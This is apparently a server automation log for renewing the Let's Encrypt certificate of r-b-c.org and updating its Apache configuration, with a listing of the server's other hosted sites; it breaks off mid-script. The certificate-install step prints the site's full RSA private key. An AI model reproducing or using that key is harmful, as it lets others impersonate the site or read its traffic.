MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-19 14:24:57: Establishing a connection
2026-03-19 14:24:57: Establishing a connection
2026-03-19 14:24:57: 

PUT: /tmp/pkp225265

#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-19 14:24:57: 

chmod 755 /tmp/pkp225265; /tmp/pkp225265; rm /tmp/pkp225265

2026-03-19 14:24:57: 


1


2026-03-19 14:24:59: Establishing a connection
2026-03-19 14:24:59: 

PUT: /tmp/pkp361164

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > 0d9xRaHn7jQPh8ryaPvlHuG0oRp4gJULRZyhVIiwfBU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0d9xRaHn7jQPh8ryaPvlHuG0oRp4gJULRZyhVIiwfBU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0d9xRaHn7jQPh8ryaPvlHuG0oRp4gJULRZyhVIiwfBU
cat > HV-v-4GelTfZj3i2sElwTn8DocowjoLrshLwNTv6PR4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
HV-v-4GelTfZj3i2sElwTn8DocowjoLrshLwNTv6PR4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 HV-v-4GelTfZj3i2sElwTn8DocowjoLrshLwNTv6PR4


2026-03-19 14:24:59: 

chmod 755 /tmp/pkp361164; /tmp/pkp361164; rm /tmp/pkp361164

2026-03-19 14:24:59: 




2026-03-19 14:25:08: Establishing a connection
2026-03-19 14:25:08: 

PUT: /tmp/pkp702445

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm 0d9xRaHn7jQPh8ryaPvlHuG0oRp4gJULRZyhVIiwfBU
rm HV-v-4GelTfZj3i2sElwTn8DocowjoLrshLwNTv6PR4


2026-03-19 14:25:08: 

chmod 755 /tmp/pkp702445; /tmp/pkp702445; rm /tmp/pkp702445

2026-03-19 14:25:08: 




2026-03-19 14:25:08: Establishing a connection
2026-03-19 14:25:09: 

PUT: /tmp/pkp157423

#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt

cat > $temp_file <<'endmsg'
99:22:fc:a8:9a:d1:ef:87:66:9a:92:c8:ba:f8:aa:4b

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBuDZiVNG+erHO3QOvP3/cyhRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzE5MTMyNjM3WhcNMjYwNjE3MTMyNjM2WjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2qB7m
/G4oCkxLYBMdsaCvp2s0ylV8XiWqJkNksFP+JAqZGatvdmRegsdDx8wKD4+rtwLq
BhnDGCukc0vO1KVL/fkq0THArodUYzet/uUNIKrx7+HZQdGQtBnnjDZ8Nu7rd+//
MmZe84nuvr+1oCc2+fekLNbRHTvF+Mue7Iy2v6GRcJvjMvLrq+aoF6vIpWzHDt7m
40nZHMdF5Jba3Oue7SF2X70rwX4j8ZfG4bp8hKHtQSrTd8K8oHHXe9wYVWYZlBAy
ysKsQqvGdcTc7M5LMBHHgbAphpe1Nvrhhg4OQwzMh6K0X5yjOVIJ4R1VwhFCW7sT
JIx4JtDT12r3I7szAgMBAAGjggImMIICIjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU8KoPVkIveAj+
dr5NQJDTJse0ztswHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3Jn
LzAjBgNVHREEHDAagglyLWItYy5vcmeCDXd3dy5yLWItYy5vcmcwEwYDVR0gBAww
CjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNy
Lm9yZy84Mi5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgAOV5S8866pPjMb
LJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZ0GfF+fAAAEAwBHMEUCIQCawXWOO/WT
RWzToN902Z6ifYlQn3RVcgtZf6oZoU1dPwIgXiZeYZTTN50icPGSyrXURcW0WsM/
Fm3Ntaaqd0UZ31MAfgAai51pSleYyJmgyoi99I/AtFZgzMNgDR9x9Gn/x9GsowAA
AZ0GfGK8AAgAAAUAV1k6HQQDAEcwRQIhAPhRTXvBm+lPI7hzFDgqC5jWZi8qgISf
gzSl4Jh8LkJVAiBXyKm3y5Zdd9vs/pJJ1qOZWXbNgMr9vnBaXGeHahmgkzANBgkq
hkiG9w0BAQsFAAOCAQEAEeh1x/Ug1IJmd5U/uHkaZdMKhZuRnO8xOJUaM4YMD2bL
qNH8/7T1FsvcOBY9vP9QIz+to30W8HXHdJ9u9wlP+Pefnivv1A48gmKlXExAOcm/
2Ox3U54ckdK3UZxY8CbyEAMgKrny1/r/bLF7wEW/f11TUYDdQ1RAX2vEMnzHvm5q
+F/YS1LnqzmEgxuRnW371C5DYJHoXDMPoH/d9BX6v1kRiGaqx7KVOnW8M7ymaVT/
63ROlEllRnIRcm7SUPsDy07gXg+VXY48AB/cSiyxSHC2c4dd4GmSfM3qeGSdWZ6E
9sYNidMGuju4k8ZSDYRKoSGEtn87LfJGFReBgSfl2Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC2qB7m/G4oCkxL
YBMdsaCvp2s0ylV8XiWqJkNksFP+JAqZGatvdmRegsdDx8wKD4+rtwLqBhnDGCuk
c0vO1KVL/fkq0THArodUYzet/uUNIKrx7+HZQdGQtBnnjDZ8Nu7rd+//MmZe84nu
vr+1oCc2+fekLNbRHTvF+Mue7Iy2v6GRcJvjMvLrq+aoF6vIpWzHDt7m40nZHMdF
5Jba3Oue7SF2X70rwX4j8ZfG4bp8hKHtQSrTd8K8oHHXe9wYVWYZlBAyysKsQqvG
dcTc7M5LMBHHgbAphpe1Nvrhhg4OQwzMh6K0X5yjOVIJ4R1VwhFCW7sTJIx4JtDT
12r3I7szAgMBAAECggEAG2BktqeBtdaf9hwsQU3CO7w9a+giRUWxzNLMqbwT8AoO
3JY7BQsa+AoPO7An0Mo29RG1Chu9ThRtVh9BxCTzBsobcmNwWuTNu8QzMDeoClOp
y3acxHys9aHzeqpKmvYmJny6J+cHQ5aqRxz9Nt0OLkXrlrEccV3kUO59S7tAoT3O
xBWm8RmpQC0Yj0PfnqYjJiozL1RdtdHpBDdKDPcTphBQK5lUn50Mqp/29A/+MrzS
eKQzjbLSGsyQWCFsXAJUeA1zoekHp1VzQVDRmEbCVSP3qziw1Zza361u8W66arX7
bcjrwJBBPDRs3aG6il7N8S9P5bUXQInS2aui+A4eIQKBgQDdW/IQHmi5LutU2gGz
BXMXflA7nEIQ9NSsBjPXN0R/ISegNdrO6ShEz0nsWfZySDXJx8fwXJUQ6WUH3QPc
XWtEf/Q3VU4Ae45duZJrhpBC5IEZHiYpXurNok5jOsPiPNQ84V6iZpJI2oBXfe9w
v+P5x4H13iTJsLVnFYUHquLyHwKBgQDTPa8vnFNj6P8rSM9a3T9r7tjfk69feexU
FBJe2tpCGhN1nPvEtbcIIkBsHG6Krba2yI2WJ1n10pJhNBJ7kzH7GuCg5nhfxSAr
ZwbJg9/LjSkqGLhyBUqRI+Sh0+yRzifv0yOcFQ5L/Po14Up0bXQY8Iyq6OgSR0I0
T9KqpZDcbQKBgQCeDWqXC79mihPJ8CdKddeprK0JAxdBGC9J7NvTDUlBJKEwiYOE
PYJdL0zvD4UiMGEHhDhEbTaabquOo8Z/78wJivsLD0O0oIQUc84SLHCQ8qsjDh3d
aEJrNTqXK3x160z3c0uo1WgZ0LnWvrraXIkg7czjiwvlXuEHi5wCz4dfrQKBgQDD
zGc3UEUTVIJAUqqwZGdG2gr3oWJqsw5VGI22klC/+H+VAr9zI6PVzDm+e9QSgtXb
MqXaSftemaHIq4V+OX+Yat9PBJEK5CLfWA24d53WhK9lL6i3NyRYx9ZCEbczpszp
xOE66WFpGcGqc3qZ1GJKQ51/RYbmelppNpvkRLazOQKBgQCf4PuXPh+OtzolIhz6
o/ZLK4ACgOlNKKK4UTD7ugQhS08bBQs3QjffDuRuXwlvDrjEeha8VjDLt0p5HXAc
1W8tnIkgKNw2iqObHWQ9UAIfMHi8RowZdGCMXGoWLHJd5uGYEM7+fDNCnYqOirbF
1H/X+Wxd/Qk/F+82dvjXbCVFcw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-19 14:25:09: 

chmod 755 /tmp/pkp157423; /tmp/pkp157423; rm /tmp/pkp157423

2026-03-19 14:25:09: 


dir=/etc/ssl/certs


2026-03-19 14:25:09: 

PUT: /tmp/pkp155826

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-19 14:25:09: 

chmod 755 /tmp/pkp155826; /tmp/pkp155826; rm /tmp/pkp155826

2026-03-19 14:25:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-19 14:25:09: 

PUT: /tmp/pkp350322

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi


2026-03-19 14:25:09: 

chmod 755 /tmp/pkp350322; /tmp/pkp350322; rm /tmp/pkp350322

2026-03-19 14:25:09: 




2026-03-19 14:25:09: 

PUT: /tmp/pkp213075

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-19 14:25:09: 

chmod 755 /tmp/pkp213075; /tmp/pkp213075; rm /tmp/pkp213075

2026-03-19 14:25:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-19 14:25:09: Establishing a connection
2026-03-19 14:25:09: 

PUT: /tmp/pkp978647

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-19 14:25:09: 

chmod 755 /tmp/pkp978647; /tmp/pkp978647; rm /tmp/pkp978647

2026-03-19 14:25:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-19 14:25:09: 

PUT: /tmp/pkp218641

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
